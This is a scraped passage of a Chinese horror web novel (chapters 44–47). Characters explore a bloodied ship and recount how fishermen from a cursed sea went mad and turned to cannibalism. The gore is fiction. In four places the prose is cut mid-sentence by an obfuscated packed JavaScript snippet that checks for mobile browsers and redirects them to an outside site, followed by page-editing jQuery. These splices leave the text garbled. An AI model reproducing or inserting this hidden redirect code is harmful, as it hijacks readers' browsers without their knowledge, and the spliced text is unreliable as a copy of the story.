萧明灿道:“……听将军的意思,荒村出事,与海豚鱼也有关?” 言生皱了皱眉,想起了影将军爱捉弄人的性子,“将军想说的该不会是,他们遇到的外乡人,其实就是另一群海豚鱼吧?” 檀妄生回头看她一眼,由衷地感叹道:“不愧是国师大人的人,想象力也一样丰富。” 言生张张口,檀妄生又说:“不过有一点国师说的没错,他们出事,的确和这鱼有些许关系。” 萧明灿作出洗耳恭听的温和表情。 “关于金海村供奉邪神的传闻五花八门,但大都集中在那引路的海豚鱼上,忽略了北面的那片海。以至没几个人知道,北面那片海,被周围的渔人称作‘丰饶海’。” 檀妄生道:“丰饶之意在于,倘若有人能平安活下来,就会收获满满一船鱼。倘若回不来,那么他们的尸体就会成为那片大海的养料。无论是哪一方,都可以得到收获。” 几人走过摞在一起的木箱,眼前的路终于宽了些,但血腥味却比刚更浓重了。萧明灿抬起眼,看向两边。两侧的木墙沾着大片大片的血手印,手印的尾部带着弯曲的拖痕,一道接着一道,叠在一起,又继续延伸,像是海里的浪。 檀妄生道:“三十三年之后,他们又去了一次丰饶海。” 44. 丰饶海 丰饶海除了被附近渔人视为海上禁地之外,还有另一个更贴切的称呼——被诅咒的不祥之地。 就像影将军说的那样,关于丰饶海的传闻的确少之又少,大多是靠海为生的渔民才有意去了解这些。不仅如此,和金海村的瘟疫相比,丰饶海的传闻也只有那么几个说法,无非是异象频生、海浪汹涌、经过的船只大多无端失踪……所以,比起“传闻”,这更像是渔民间公认的“事实”。 这正是邪门的地方。 无论这之前对丰饶海的怪异传闻多么深信不疑,去了那地方又侥幸生还的人,都会一改往日对“死亡禁地”的看法,反而把那里称之为捕鱼人的仙境。无一例外。 而他们在修整一段时日后,又会重新召集几个被这仙境之说打动的渔民,重返丰饶海,一次又一次,直到彻底葬身海底,成为丰饶海的又一个“怪异传闻”为止。 这也是金海村村长自那之后,不让村民们靠近北面海域的原因。 萧明灿说:“……他怕那几个渔民也走上执迷不悟的路,不仅葬送了自己的性命,还成了那丰饶海的伥鬼。” “值得庆幸的是,”檀妄生道:“除了在出岛卖鱼时和外人说了几次这场经历外,他们再没有提过任何关于丰饶海的事,更没有再去一次那里的想法。甚至就连出海捕鱼也都不会靠近北面一点。与传言完全不同,他们不仅没对丰饶海改观,反而每一次回忆起来都觉得心有余悸。” “心有余悸。”萧明灿望着墙边的血印。 从丰饶海回来以后,那七个村民就像当初碰到的独臂渔人一样,和每一个对此感到好奇的人讲述着那段惊险的往事。有些人看着那张消瘦又憔悴的脸,既同情又震惊。有些人感叹他们是上辈子做了好事才捡回一条命。有些每出过海的则只把这当新鲜的夸张故事听,没放在心上。 直到多年后,当金海村在短短一个月内变成了尸灰漫天的鬼村时,人们才又想起当年那几个村民的经历,最终,他们为这个不明疫病找了个还算合理的解释,村中供奉了从丰饶海那边“请”来的邪神。 至于证据嘛,也好找——因为他们偏偏在那公认的不祥之地里,奇迹般地碰到了海豚鱼“引路”。因为村长在他们平安回来后就修建了几座形似海豚的大鱼石像来表示“感激”。 因为那些村民从未跟任何人说过,大家所认为的那种以海豚鱼化身的“邪神”,其实早就成了他们的腹中餐—— “以近乎是亵渎‘神’的方式。” 当檀妄生说到这儿时,他们已经走到了侍卫和侍从们住的地方。走廊极为狭窄。几扇挂着血的木门微微开着,随着船身的晃动发出轻弱的嘎吱声。萧明灿借着几盏油灯看向四周,想起了影将军刚刚那半开玩笑似的话——这里就像是黑暗又黏稠的肠道。 前面的言生和周从友互相看了眼,侧身站在墙后,用刀轻轻推开两边房门。 一片安静。 屋内的油灯快燃尽了,只散出了点儿昏红的光芒。那个侍从就坐在墙边。微光附着在他惨白的脸上。他的眼珠在向上翻着,露出渗人的眼白。手指也如同婴儿般蜷缩起来,紧抓着湿透的衣摆,就仿佛经历了什么强烈的痛苦。 “他的下半身……”言生看向角落,“它们把他的肉都割了下来。” “然后装进了空桶里。”周从友将门彻底推开,给周围人看里面的样子。七八个人躺在狭小的屋子里,身体破碎不堪,像是装满血的革袋被刺了数刀,颓软地塌在地上,鲜血从缺损的肉里争先流出,汇聚到一起,像蛇一样朝着房门游走。 萧明灿看向其中一具尸体,那侍从的一截腿骨陷在血肉当中,在走廊油灯的映照下,反射出雪花般微小的光。 这让萧明灿想到了海豚鱼。 被捞到船上,躺在甲板上,被拆解的海豚鱼。 “……这也是在映射当年渔村发生过的事吗?”言生感到有些疯狂,“它们为什么要这么做?” 他们为什么要这么做? 他们为什么要隐瞒吃掉了海豚鱼那件事? 因为他们看到了村民们对这段奇迹充满感激的模样。 他们说不上那是种什么感觉。金海村虽世代以捕鱼为生,但却无比敬畏这片海。他们并没有明确信奉哪个海神,但认为海中鱼群和自己没什么不同,都既是猎物也是捕食者,都依靠着这片海而生,都有着值得尊重的灵魂。 而当年迈的村长和村民们听到海豚鱼为他们指引方向时,露出的惊愕和……他们从未在村长的脸上看到过这种神情,这让他们忽然想起了当初自己从昏迷中醒来时,看到的家人哭得发红的眼,还有乡亲们连夜出岛给他们采买药材的背影。最终,他们谁都没能说出那个实情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138274|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时机就是这样。所有的对话都有适当的时机,有的时候错过了时机,就只能把那些话一辈子埋在心里。 “但是它们会重新制造时机。”檀妄生用火铳推开前面几扇房门,看着满墙的鲜血和地上的血肉,说道。 它们到底想重演什么?萧明灿想道。 他们一遍又一遍地讲述那些故事,在市集,在酒楼,在檐角下,和陌生人,和熟人,和好奇的孩童。每一次提起,感觉就像在脑海里反复重演着那段经历。他们从未对丰饶海改观,依旧觉得那里诡谲无常,奉劝对此感兴趣才来打听的渔民放弃这个念头。他们试图做一个无比清醒的人。 檀妄生说:“老头子在醉酒后曾说过这么一句话,能证明坚持是否成功的,只有时间。能摧毁坚持的,也是时间。” 萧明灿还记得这件事,“那是在宫里举办的除夕宴上。当时镇北王已经喝得连话都说不清了。” 当然,不止时间会“摧毁”他们最初的想法,记忆也是如此。尤其是当他们试图隐瞒一些事情的情况下。 每一次重演那段经历,他们都抹去了那段靠海豚鱼的血肉才得以撑着一口气回岛的事。时间久了,自己当初躺在甲板上等待死亡的痛苦也开始从记忆里慢慢消退。二十年过去后,他们渐渐忘了自己曾“保持清醒”的话。三十年过去后,当他们回忆半生时,想起了过往的人听过那段经历后,对此的评价。 “看来这座岛也没想象中那么危险。十几天过去了,你们不是也没遇到什么风暴和暗流吗?” 船舱在海浪的撞击下微微晃动着。 “这和现在的我们没什么不同。”檀妄生看向走廊的尽头,“我们明知道前面的路有危险,甚至还有可能丧命,但依旧在赌那个好结果。” 两侧屋内的烛灯又灭了几盏。萧明灿从言生那里接过油灯,走向其中一间屋子,捡起那几张散在地上的纸。 “将军猜猜看,”萧明灿看着上面用血写着两个字,它们歪斜断续,字体边缘渗着密密麻麻的小血点,像是海怪用巨足在木板上攀动,又像是从死人的嘴里生生捞出来的——快逃。 远处的船舱在晃动时发出木头相互挤压时发出的低响。这声音闷沉不清,在一片令人窒息的寂静里,被扭曲成了类似肠道在消化食物时发出的咕噜咕噜声。 “我们能改变结局吗?” 45. 遇鬼 “……说实话,这里看上去就像是特意为我们量身打造的坟墓。又或是鬣狗们安然栖息的巢穴,而我们就是那个没有眼力见误闯进来的过路人。” 檀妄生站在门边,瞥了眼这间狭小又昏暗的屋子,而后又瞧向国师,“如果换做是别人的话,我会觉得,我们肯定要完蛋了。” 萧明灿单膝跪地,翻动着后面几张皱到看不清字迹的纸,替他接着说:“‘但如果是国师的话,就不一样了。’” 檀妄生靠着门框,挑眉道:“听起来很老套。” 萧明灿把纸递给言生。言生折起收好。萧明灿说:“会是将军能说出来的话。” “其实我在避免说出那句话。”檀妄生抬手抹了下门框顶部,瞧着指腹的血,“因为那句话听起来就好像我们一定会重蹈覆辙。实在太不吉利了。” 的确很不吉利。尽管当时所有人都没意识到,但事实就是这样——无一例外的,每一个决定去丰饶海的人,都曾升起过这么一个念头——也许他们真的能改变结局。 或者说,也许他们真能打破那个“诅咒”。 但最终,他们谁都没能活着回来。 当然,这也并不是一句乐观又狂妄自大的空话。至少那七个村民不是。毕竟只有疯子才会把性命押在一句不切实际的空想上,而他们只是想要在这片海走向“枯竭”时,去寻求其他生机的普通渔民,仅此而已。所以,他们为此做足了准备。 他们吸取了当年的教训,带足了水粮,用所剩无几的钱换了两个新罗盘。他们尽力在周边县里打听丰饶海的情况,但数十年过去了,曾经在市集上一起卖鱼的朋友大都已经回乡安度晚年去了,孩子也放弃了捕鱼。他们都说,这片海已经“枯竭”了。 他们去寻找那个独臂渔人,才发现他已经去世多年。但他的孩子把他生前留下的那些关于丰饶海的路线图给了他们。临走时,她说,父亲知道你们一定会来。但她没有像其他人一样劝阻他们。也许她想过,但最终还是决定算了。 又是一个风平浪静的清晨,他们像三十三年前那样,在天色还未彻亮时,只留下一封信,便再次出发去了丰饶海。 “事情进展得很顺利。”檀妄生说道。 一行人走过血腥而浑浊的走廊,手里的几盏油灯随着动作轻轻忽闪,像是夜里的船灯。而黑暗正踩着他们的脚步缓缓逼近。萧明灿目光望向走廊尽头的一处房间,两侧的房门因海浪的撞击而轻轻扇动着,唯独那间房门是关着的。 “短短两天时间,他们就捕到了大半个船箱的鱼。”檀妄生拎着火铳,观赏似的打量四周,“有意思的是,他们在此之前从不相信仙境之说,只认为这里的鱼也许会比其他地方多一点。但现在,他们已经开始想着叫村民们一起过来了。这里没有风暴,没有暗流,有时会起点海雾,但他们完全可以应对。” 周围房门微开的房间里渗出些许光亮,而那扇房门就静静地立在暗处,像是阴影里一堵沉重的石碑。几人分散着排查每一间屋子,尽力找出些值得探寻的痕迹。 萧明灿说:“他们就快要改变结局了。” “但还差一点点运气。”檀妄生道。 船舱里始终没有任何怪物的尖叫声传来,甚至静到让人不安。这里看上去就像是那种发生过一场惨不忍睹的灾难后就被遗弃的鬼船。萧明灿用油灯点燃桌上的烛台,又听到了类似木头相互挤压时发出的声音。 嘎吱,嘎吱—— 咕噜咕噜。 “毫无征兆降下的海雾打乱了他们的返程计划。”檀妄生的声音在狭窄的走廊上响起,“但没关系,他们已经有了充足的应对准备,只要没有风暴,他们就不可能会落到当年那种处境。于是,他们打算暂时休整一两日,等海雾散了些再走。” 言生敲了敲屋子里最后一个木箱,接着打开木盖,确认里面没藏着什么怪物伏击他们。 檀妄生走进另一个房间,说:“但在第二天的时候,他们遇到了意料之外的鱼群。” 萧明灿道:“海豚鱼?” “只剩半截的海豚鱼。”檀妄生挑开那些尸体,蹲下来瞧着他们身上的伤口,“它还活着。贴着他们的渔船游,向他们求救。它的下半身被咬得皮开肉绽,原本是尾巴的位置只有血浪。是谁会捕猎它们?也许这附近有鲛鲨。但当他们把它救上来时,才发现,那伤口处留下的齿印远没有鲛鲨锋利。” 是那怪物留下的。 “但在当时的他们看来,这只是一个普通人做的。”檀妄生说:“试想一下,在这个方圆百里都见不到人的‘不祥之地’上,突然遇到了自己的同胞,是一种什么样的心情。” 萧明灿走到他身后,看了眼尸体的几处刀伤。 檀妄生说:“他们一定会去想对方究竟是什么人。不幸失事的商船?落单的水贼?可他们自始至终都没听到刀剑的厮杀声。难道是和当年的他们一样,被海雾耗尽水粮的渔民?” 萧明灿明白了什么。 “他们一定会去寻找渔船的踪迹。无论是出自对陷入濒死同胞的救助,还是对海豚鱼一种微妙的、类似于愧疚的心理,还是出海时那一闪而过的打破‘诅咒’的想法,亦或是好奇心。” 檀妄生稍偏过头,油灯微弱的光映着他的侧脸。他露出个笑容:“就像是命中注定一样。” 就像是命中注定一样。这些涌出的想法都在推动他们去寻着血浪走,他们完全想不出任何拒绝的理由,一种难以言喻的奇异感在心底腾升而起,就仿佛本该预测危险的直觉突然被一盆烈酒浇透,只剩下了寻找同胞的兴奋。难以抑制的兴奋。 就仿佛真如传闻里所说的那样,丰饶海有着某种引人情不自禁深入的魔咒,而此时此刻,那魔咒正乘着浪涛和海风在他们耳边低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一张血淋淋的脸突然贴向房门,正透过门板上的裂口盯着他们。眼白和瞳孔在油灯下映得发亮。 言生握着刀。 接着,他们看到那人后退了几步,像是受惊了似的,踉踉跄跄地往后退。他被脚下什么东西绊倒了,也顾不上疼,四肢并用往后爬,直到退到油灯也照不进的角落里。他嘴里发出哭一样的呜呜声。 一股浓烈的腥味正顺着裂口往外蔓延。 “这里是船上的伙房。”言生低声道:“那里面都是菜刀。” “还有一大堆食物。”檀妄生似乎才想到什么,对萧明灿说:“第一个渔民疯掉的原因,也是因为食物。” 萧明灿想了想那些村民惧怕的东西,“……和三十三年前一样,水粮短缺?” “不,恰恰相反。”檀妄生慢慢地道:“是因为他吃得太多了。” 46. 血碗 那个村民——或者说,那个唯一从丰饶海活着回来的村民,在后来把这段经历记录了下来。 他没上过几天学,识的字也不多,所以纸上写的大多是些歪扭混乱和重复多遍的话,甚至有几页通篇都是被着重圈画的问题,问题后面又涌出新的疑问,接着又被抹掉。他在竭尽全力去复原整件事的经过。这几本手札就埋藏在地窖角落里的几块石板下,除了檀妄生之外,从没被人翻开过。 村民并没有把这段经历告诉过村里的人,至少,他没有把丰饶海发生的事完完整整地坦露出来。因为就如同手札里那些语序杂乱不清的话一样,他根本说不清那场“瘟疫”到底是如何在短短一个月之内毁了金海村的。 他隐隐约约能意识到是他们把灾难带进了村里,但却无法解释它的由来……它到底是什么东西——传闻里的诅咒?一种徘徊在深海的鬼祟?还是某种恐怕就连宫中御医也难以判断的病症?他感到困惑。一种让人恐慌到几近崩溃的困惑。 所以,他能做的也只有这些——尽力去反复回想发生的一切,然后写下这些,从中寻找遗漏的细节,直到找出能够解决这一切的方法。或是源头。 但那份记录在写到救下两个“渔民”的七天后就突然中断了。 ……不,比起中断,倒更像是发生了什么让他即使亲眼目睹,也难以理解的事。他无法再用言语去描述,似乎看到的东西就像—— 砰。砰。砰。 他写了整页的“砰”,字迹混乱而急切,又密密麻麻地叠在一起,看起来如同乌云,又像是黑影中的鬼,正阴森地盯着他,仿佛要冲出纸面,钻进脑海深处—— 砰! 随从一脚踹开房门,端起三眼铳,迅速扫向四周—— 一片狼藉。 死寂无声。 所有柜门都被打开了。案板和菜刀锅碗全都散落在地,就好像这里刚刚经历过一场灾难性的风暴。沾血的瓷片犹如夜里的海浪般闪着微光。几个侍卫倒在地上。但没有人提防他们。因为他们已经变成了那种即便是被怪物“夺舍”,也压根站不起来的烂泥—— “字面意思上的烂泥。”檀妄生看了眼地上其中一具尸体,评价道。 萧明灿放低了声音:“……那七个村民经历的也是这些吗?” “和第一个人出事的时候差不多。”檀妄生看了眼周围,“他们在外面听到船舱里突然传来了剧烈的撞击声,还有含糊不清的惨叫。最开始他们还以为两个人打起来了,想去劝架,结果发现舱门和窗户被人从里面挡上了。撞击声持续了整整半刻钟,才逐渐停止。” 砰。砰。砰。 那三页纸里写满了“砰”字。村民已经记不清当时是如何和同伴们砸开窗户,进入船舱里的了。那声音就如同厚重的淤泥般堵住了他的脑袋,吞噬了一整段记忆,以至每次回想时,都会下意识地想到船舱被撞击的重响,惨叫,接着是挣扎时撞翻鱼桶的砰砰声,又是惨叫,然后变成了低弱的呻|吟,最后是潮闷的砰砰声。 像是开始腐烂的杏子被砸在了墙上。 “他们听到了咀嚼声。很小,但能顺着被挡住的木窗缝隙里听见。他们花了很大的力气才砸开挡在窗后的东西。等他们钻进船舱后,最先看到的就是……这个。” 檀妄生站在门外,看了一圈,接着朝屋内一具尸体稍抬下巴,“他的脑袋被砸烂了,但通过外衣,他们知道了他是谁。是他们救上来的其中一个‘可怜人’。他的右腿鲜血淋漓,整个小腿的肉被剔除大半,只剩下点沾着肉的血骨。” 几个随从进入房间,油灯照不透空荡黑暗的伙房。他们越往里走,血腥味便越发强烈,就好像他们刚刚撬开了个挤着四五人的合葬棺材,扑面涌来的腥味让人感到恶心。他们端着三眼铳扫向四周。黏稠的咀嚼声轻轻响起。他们同时瞄准角落里那道身影。 萧明灿说:“……他们看到他吃了‘它’?” “就像饿了四天的鬣狗终于找到一块肉一样。”檀妄生靠在房门另一侧,看着油灯尚未照进的角落,“如果闭上眼睛的话,你会真的以为他在吃什么鱼肉盛宴。” 萧明灿还在想着刚刚的话,“将军说,他们听到船舱传来撞击声后的第一反应,是猜测那两个人因为争执打了一架,而不是……” “拔刀相向的厮杀。”檀妄生接话道。 咀嚼声仍在继续。那身影和他们所见到的怪物完全不同,他没有直勾勾地盯着他们,也没有再发出悲咽或是尖叫,只是低头咀嚼着什么,似乎那漆黑的角落就是他的家。而现在他回到了家里,正无比安心——或是专注地享用着他的午饭。 几个随从相互看了眼,随后周从友接过油灯,缓步走向角落。 “即便他们从未瞧见过什么见血的杀人场面,但既然能走到他们所认为的‘争吵’地步,想来这些天他们过得也极不寻常。” 萧明灿看向檀妄生,轻声说:“就算他们不知道这些怪物的存在,应该也能联想到那些乔装成落难渔民的水匪。丰饶海凶险诡谲,敢来这里的水匪必然也都是些杀人不眨眼的狠角色。这些天双方关系又如此紧张,哪怕那些村民再怎么淳善,也不可能丝毫警惕也没有。” 檀妄生还靠着一边门框,吊儿郎当地拎着那把火铳,钢制的托把在灯下泛着银光。他耸耸肩,也觉得很无辜,说:“……说出来国师可能不信,与那些传闻或是外表什么的不同,我其实是一个非常严谨且细心的人。如果我在编故事,那么我一定会在一开始就说出他们惊慌失措到疯狂砸窗救人的样子。但事实就是这样——他们只以为他们在打架。” 油灯里的火苗越来越弱,光线变得颤动忽闪,看起来就像被黑暗恐吓得瑟瑟发抖的动物。 萧明灿目光移向逐渐被光照亮的角落,“……到底发生了什么?” 这次檀妄生没有立刻回答。他似乎也不清楚导致这一切发生的答案到底是什么,只是抬眼望向角落。油灯慢慢推开黑暗,照着那满身血污的侍从——他直到现在才发现那光亮,然后怔怔抬头,嘴里还叼着块滴血的肉条。 檀妄生回想着那几本手札,说:“……他们似乎在交谈。” 他们在聊些什么——这是村民后来在手札上记录下来的话。 那两个被救下的人寡言少语,仿佛受到了非常可怕的惊吓,大多数时候只是待在船舱里。每当村民给他们送水送饭时,就能看到那双一眨不眨盯着自己的眼睛,黑漆漆的,眼白泛着浑浊的黄。他们感到有些毛骨悚然,也想知道他们究竟经历了什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194615|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么事故,才会导致他们魂不守舍,遍体鳞伤,船却完好无损。 他们怀疑过这两人是乔装打扮的水匪,但两人身形消瘦,饿到连走路都有些困难,手上也没有任何茧子。就连多年拉扯渔网磨出的糙茧也没有。而且,这两个人似乎对人多的地方极为恐惧,每当他们想要靠近时,两人总是蜷缩在角落,浑身颤抖,一声不吭。 冯祥是他们村里最受欢迎的人。口才好,眼力高,既热情又聪明,自小就是村里的孩子王,长大后又在市集上结交了不少朋友。那个隐居的独臂渔人就是他托朋友找到——于是,他们让冯祥去和他们聊聊。 事情开始变得古怪起来了。 他们整整相处了一个晚上。直到第二天,村民们来送饭,他才恍恍惚惚地走出来,就像刚被人从一个荒唐又怪诞的梦里叫醒。他如同在回忆梦中内容一样回想着那晚上他们聊过的话。村民们问他说了什么,他摇了摇头,说等会儿再告诉他们。 晚上,他又带着饭进了船舱,在那里呆了整整一夜。 他整个人变得……村民无法用复杂的文字来代替心中所想,于是他画了画。画中的人摇摇晃晃走在甲板上,望着远处。时不时摸摸船体,或者蹲下来看着角落里残留的鱼血。接着又低下头,看着自己的双手,仿佛第一天认识这具身体。 他变得恍惚木楞。就好像他做了一场梦,此后的每一天都沉浸在梦中。起先是不爱说话,大多数时候,旁人一句话要问三遍,他才能慢吞吞地回答。接着是忘记了吃饭,他望着茫茫无边的海,像是忘我地看一台戏剧。而直到饭端到了眼前,他才后知后觉地大口吞咽起来。 接着,毫无征兆的,他的饭量比以前多了数倍。 同伴们以为他生病了,或是担心他精神出了什么问题。毕竟他们在海上已经航行十一天了。虽然没有迷路,水粮也充足,但多变的天气一直在拖延他们的航程。 然后,冯祥开始变得健忘起来。 村民不知道究竟是因为沉浸某种梦里,太过恍惚,才会看起来健忘,还是他的脑袋真的出现了什么问题。总之,他渐渐忘了他每日要做的事情,确认船体四周、航行路线,检查船箱、船帆—— 他甚至忘记了如何用渔网捕鱼。他只是把渔网抓在手里,然后木讷地看着他们。 但他唯独没有忘记每晚都去船舱里找那两个人。 村民们每日还有一大堆要注意的事,他们对于冯祥的变化完全无能为力,也没什么功夫去细究,也许是得了什么海上疯癫症,也许是受了什么他们不知道的刺激,也许是中邪——左右这三个人老老实实的,也没给他们添麻烦,他们只能等回村再说。 “于是,事情就发展成那样了。”檀妄生说:“他们最后一次看到冯祥,是他端着个空碗进了船舱。半个时辰后,他们看到冯祥坐在角落里,碗里盛着的是血。” 屋内的角落里,侍从手里捧着个大碗,碗面的图案被血覆盖。 萧明灿沉吟着看向侍从。 “……对了,还有一点。” 檀妄生看着萧明灿,知道她在想什么,“冯祥自始至终都很清醒。他没有陷入幻觉,也没有被怪物夺走身体。他很清楚自己在做什么。” 屋里传来瓷碗碎裂的声音。 47. 认知 他很清楚自己在做什么。 这是村民后来在回忆这段场景时写下的第一句话,但随后这句话就被他划掉了。他在后面补充写道:冯祥清楚自己手里拿着的是什么,也清楚他刚刚做了什么。当他见到他们时,说的第一句话就是—— “汪。” 侍从抬起头来,似乎不太适应那突如其来的光亮,仓促地用手挡住脸。“汪!”他又叫了一声,接着手脚并用退回到了黑暗里。 周围人没有说话。 油灯的光线微微颤动着。侍从看到了地上被摔坏的碗,又看了看周围站着的人,仿佛认为有一群人突然闯入了它的领地,并且一脚踢翻了他丰盛的早饭。他四肢着地,做出类似狗弓起身子的进攻姿势,但因为手脚太长,导致这姿势有一种极其诡异的扭曲感。他发出警告似的低呜—— 他的精神没有错乱——村民划掉了“没有”两个字。然后接着写:至少,冯祥坚信自己是一头黑豹。他在幼年时就曾多次提到过这种野兽,他说它那漆黑而优雅的身体充满了力量感,行动——村民写了个歪扭错误的“矫健”和“敏捷”。他认定自己就是那头曾在小时候和父亲亲眼见过的黑豹。 侍从呲起牙,就像捍卫领地的狗。 周从友没有动,把油灯稍微往前照了照,看着他浸在血泊里的手,试探着问:“……这些都是你做的?” 这些都是冯祥一个人做的。村民写道。他杀了那两个人,就像黑豹一样撕开他们的喉咙。周围的鱼桶都被打翻在地,那些鱼在血里扑腾,又被冯祥一手压住。村民对此描述了他当时的举止:他原本就细长的五指收拢,如同那野兽的利爪一般。 冯祥抬起头—— 侍从的眼神充满敌意,他张了张口,就像一个动物刚刚理解了人的意思,然后说:“……吃。” 在村民看来,他一定是疯了。他不仅杀了人,甚至还把他们当成食物来吃。他以为他是幼年时只见过那么一次面的野兽。他一定是受了什么刺激。 村民后来在手札中写满了疑问:冯祥平日里从来都不和人起争执,为什么要这么做?这些天里他们交谈了什么?他为什么要把自己当成那头黑豹?他为什么突然开始吃肉……他一个连猪都没杀过的人,是如何在短短半刻钟内就杀了这两个人的?他究竟受了什么刺激? 刺激……刺激——村民写道。他见过那些受过刺激的人都是什么样子。有孩子遭遇船难失踪后,把此后的每一天,都当成是等待孩子午后归家的那一日度过的。有家里人把刚出生的孩子转手卖给人牙子后,导致母亲整日抱着个假人当女儿的。这些人都是受了刺激后给自己造了个假想的“梦”,但……但冯祥和这些人完全不一样——村民划掉了“完全”两个字。 “吃……吃了肉后就要……” 侍从笨拙又戒备地说道,就仿佛他今天刚学会人的语言。而更渗人的是,比起牙牙学语的孩童,他更像是一只在尝试学习人的动物。浓稠的血腥和昏暗包裹着油灯,让光线变得油腻又生冷。 侍从在这微弱的光圈下抬起头,凝视着周从友的眼睛,继续说:“睡……睡觉。” 周从友面色凝重。 “那些受过刺激的人都活在自己编织的‘梦’里。”檀妄生说:“但他们双眼浑浊,神情茫然空洞,那是整日以泪洗面后会出现的样子。他们的生活已经陷进了深渊,想要活下去,只能给自己找一些希望。” 萧明灿想了想,说:“但其实他们一直都被困在那日的惨剧里。” “无论是每日在海边等着永远无法出现的家人,还是小心翼翼抱着怀里安静无声的孩子。”檀妄生把头靠在门框上,瞧着被周从友和几人挡住的侍从,那侍从仍在喃喃说着什么。“他们看着熟悉的环境,总会因此意识到那部分残忍的事实,然后崩溃,以泪洗面——挣扎。” 他目光移向萧明灿,说:“他们麻木的眼神里总会带着一种痛苦的挣扎。” 萧明灿看向屋内。 但冯祥完全没有。村民在回忆中写道。冯祥的双眼里充满了冰冷的审视、戒备和汹涌的饥饿感,超过了他平生以来遇到的任何一种猛兽。那其中没有掺杂任何痛苦或不安。仿佛他真的是一头在捕食的野兽——村民再次划掉了“仿佛”两个字。 可是,人为什么会变成那种样子? “比起探究他为什么会变成那个样子,倒不如说他就好像是被塞入了一段陌生的记忆,让他以为自己是头野兽,只知道捕猎和进食,以及守护领地——纯粹地为了生存而战的野兽。” 萧明灿闻言稍挑起眉,转过头,刚打算问点什么,但屋内突然传来一阵混乱的响动。那侍从四肢并用爬进了另一个离门最远的角落,一路打翻了几张椅子,接着在黑暗中发出准备进攻似的尖锐吠叫。 “……将军为何这么肯定他没有身中幻觉?”萧明灿稍稍侧首,但目光却望着角落,“这种身中幻觉后把自己完全当成另一个人,从而做出与平日完全不同的反常举动的人……虽然少见,但也并非从来没有过。三个月前的钱鸣不就是这样吗?” “不要……不要吃我的……” 侍从用手捞过旁边那半具尸体,护食似的把尸体护在身下。他在说话时还掺带着狗一样的吠叫。周从友转头看了眼檀妄生,似乎想要请示什么,而后向侍从走去,但刚走一步,侍从就用双手死死扒住尸体,接着,在他们所有人面前低下头—— 黏腻的血肉撕扯声响起。 周从友闭上了眼睛,却没有人扣动扳扣。 他们坚信他没有身中幻觉,他依旧是没被怪物侵蚀的“正常人”。 言生沉重地看着这一幕。 海浪扑向船身,走廊的房门还在缓缓闪动。 油灯在昏暗的屋内划过一点光,如同天上将要寂灭的星星。周从友和身边几人扑向侍从。油灯被甩在了地上,撞向墙角,但却没有熄灭,也没有引燃什么。低弱的光映着墙上大片的血迹,一道道血线蜿蜒下淌,像是有无数张面孔在哭泣。 “身中幻觉的人注定会被幻象所侵蚀,被那幻觉里的怪物或惨剧所引导,走向惨烈的死亡。”檀妄生说:“就像钱鸣一样。因为有人向他传递了身边人面目全非的死状,导致他陷入幻觉,每夜梦游般地画出那些人惨死时的模样,而后在醒来时又把这当作是别人做的事,从而整日怀疑着那个和自己住在同一屋檐下的人。” 周从友把侍从和尸体分开。侍从开始大喊大叫。他疯狂地想要扑向眼前的“食物”,几个人合力扳着侍从的胳膊,侍从挣脱不开,就开始咬向旁边人。谩骂夹杂着痛叫声响起,接着是桌子被砸塌的重响。侍从蜷缩在断裂的桌面间,发出狗被压断腿一般的哀嚎。 “疑心生暗鬼。”檀妄生抱着火铳,在一片混乱里,瞧着墙下那孤零零的油灯,“他早晚会爆发出来的。所以才有了后面那一场架。而当同住的人离开后,空荡荡的屋子让他突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194616|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识到了事情的真相。” 萧明灿发现了重点,“如果被幻觉‘盯上’,就会不可避免地被幻觉彻底吞噬。”她停了一下,看向那个侍从,“将军是想说,但他不会被幻觉吞噬?” 血泊里,侍从撕心裂肺地叫着,周从友随手拿了块方巾塞进他口中。侍从踢开了其中一人,而后挣扎着起身,爬向角落。 “他把自己当成一只狗,并不是因为幻觉,而是他真的认为自己是一只狗。”檀妄生用手指点了点额角,“就像我们刚刚说的那样,他被塞入了一段记忆。” “被塞入了一段记忆。”萧明灿低声重复。 “他忘记了做人时会面临的恐惧、担忧、紧张、不安,甚至是无助的绝望。” 